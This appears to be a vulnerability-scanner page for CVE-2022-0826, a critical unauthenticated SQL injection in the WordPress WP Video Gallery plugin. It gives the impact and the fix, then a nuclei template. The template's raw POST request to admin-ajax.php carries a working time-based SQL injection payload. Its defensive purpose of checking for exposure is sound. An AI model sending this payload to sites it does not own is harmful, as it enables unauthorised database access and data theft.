WordPress WP Video Gallery <=1.7.1 - SQL Injection

criticalseverity

9.8CVSS score

9.1%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress WP Video Gallery plugin through 1.7.1 contains a SQL injection vulnerability. The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.

Fix

Update to the latest version of WP Video Gallery plugin (>=1.7.2) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "text/html") and contains(body, "Registred videos :")

Run it with nuclei: nuclei -id CVE-2022-0826 -u <target>

The full check

id: CVE-2022-0826

info:
  name: WordPress WP Video Gallery <=1.7.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress WP Video Gallery plugin through 1.7.1 contains a SQL injection vulnerability. The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
  remediation: |
    Update to the latest version of WP Video Gallery plugin (>=1.7.2) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7a3eed3b-c643-4e24-b833-eba60ab631c5
    - https://wordpress.org/plugins/wp-video-gallery-free/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0826
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0826
    cwe-id: CWE-89
    epss-score: 0.09127
    epss-percentile: 0.95354
    cpe: cpe:2.3:a:wp-video-gallery-free_project:wp-video-gallery-free:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wp-video-gallery-free_project
    product: wp-video-gallery-free
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wp-plugin,wpscan,wordpress,wp,sqli,wp-video-gallery-free,unauth,wp-video-gallery-free_project,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wp_video_gallery_ajax_add_single_youtube&url=http://oast.me/?x%26v=1%2522 AND (SELECT 1780 FROM (SELECT(SLEEP(6)))uPaz)%2523

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Registred videos :")'
        condition: and

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